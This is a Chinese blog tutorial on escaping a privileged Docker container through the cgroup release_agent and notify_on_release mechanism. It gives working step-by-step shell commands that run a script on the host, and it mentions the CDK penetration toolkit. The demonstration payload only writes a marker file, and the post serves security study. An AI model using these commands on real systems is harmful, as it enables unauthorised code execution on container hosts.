[docker逃逸] notify_on_release 逃逸

本文作者CVE-柠檬i
CSDN:https://blog.csdn.net/weixin_49125123
博客园:https://www.cnblogs.com/CVE-Lemon
微信公众号:Lemon安全

分析

1. 简介

Cgroups(Control Groups)是 Linux 内核的功能,用于限制、隔离和监控进程组的资源使用。每个 Cgroup 都有一个 release_agent 文件和一个 notify_on_release 文件:

  • release_agent:指定一个脚本或程序,当 Cgroup 中的最后一个进程退出时,该脚本会被执行。
  • notify_on_release:如果设置为 1,当 Cgroup 中的最后一个进程退出时,内核会触发 release_agent 中指定的脚本。

2. 逃逸原理

notify_on_release 逃逸的原理是利用 Cgroups 的 release_agent 机制。Cgroups 是 Linux 内核用于资源管理的功能,其中 release_agent 是一个脚本,当 Cgroup 中的最后一个进程退出时会被触发。攻击者可以在容器内挂载 Cgroups 文件系统,修改 notify_on_releaserelease_agent,将 release_agent 指向宿主机的某个脚本。当容器内的进程退出时,宿主机的脚本会被执行,从而实现容器逃逸,获得宿主机的权限。该漏洞的根本原因是容器内可以操作宿主机的 Cgroups 配置,导致容器内的行为能够影响宿主机。

此操作需要 CAP_SYS_ADMIN 权限,因此默认情况下 Docker 容器无法利用该漏洞,除非以特权模式运行或显式授予 CAP_SYS_ADMIN

环境配置

宿主机版本以及docker版本。

拉镜像

docker pull centos

特权模式启动

docker run -itd --privileged centos /bin/bash

或者授予CAP_SYS_ADMIN权限启动

docker run -it --cap-add=SYS_ADMIN centos /bin/bash

这里有可能是系统版本比较低的原因,不使用启动参数--security-opt apparmor=unconfined也能复现成功。

复现

  1. 在容器内挂载cgroups文件系统:
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
  1. 创建子cgroup并设置notify_on_release,这个x的目录名可以自定义:
mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notify_on_release
  1. 获取宿主机路径并设置release_agent
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. 在宿主机上创建恶意脚本:
echo '#!/bin/sh' > /cmd
echo 'echo "逃逸成功!" > /tmp/escape.txt' >> /cmd
chmod +x /cmd
  1. 在容器内启动一个进程并将其加入到子 Cgroup 中,然后退出该进程:
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

当进程退出时,release_agent 会被触发,执行宿主机的 /cmd 脚本,从而实现逃逸。

  1. 验证逃逸:

在宿主机上检查 /tmp/escape.txt 文件是否存在

cat /tmp/escape.txt

使用CDK攻击

cdk-team/CDK: 📦 Make security testing of K8s, Docker, and Containerd easier. (github.com)

CDK 是一个开源的容器渗透工具包,旨在提供在不同的精简容器中的稳定利用,而无需任何操作系统依赖。它自带了有用的网络工具和许多强大的 PoC/EXP,可以帮助您轻松逃离容器并接管 K8s 集群。

./cdk run mount-cgroup "ls /"

参考:

DeepSeek

Docker逃逸技术 - 先知社区

史诗级安全研究员innocent...的私人知识库文章

CAP_SYS_ADMIN之利用notify-on-release进行容器逃逸 - 谢公子

posted @   CVE-柠檬i  阅读(23)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 实操Deepseek接入个人知识库
· CSnakes vs Python.NET:高效嵌入与灵活互通的跨语言方案对比
· Plotly.NET 一个为 .NET 打造的强大开源交互式图表库
点击右上角即可分享
微信分享提示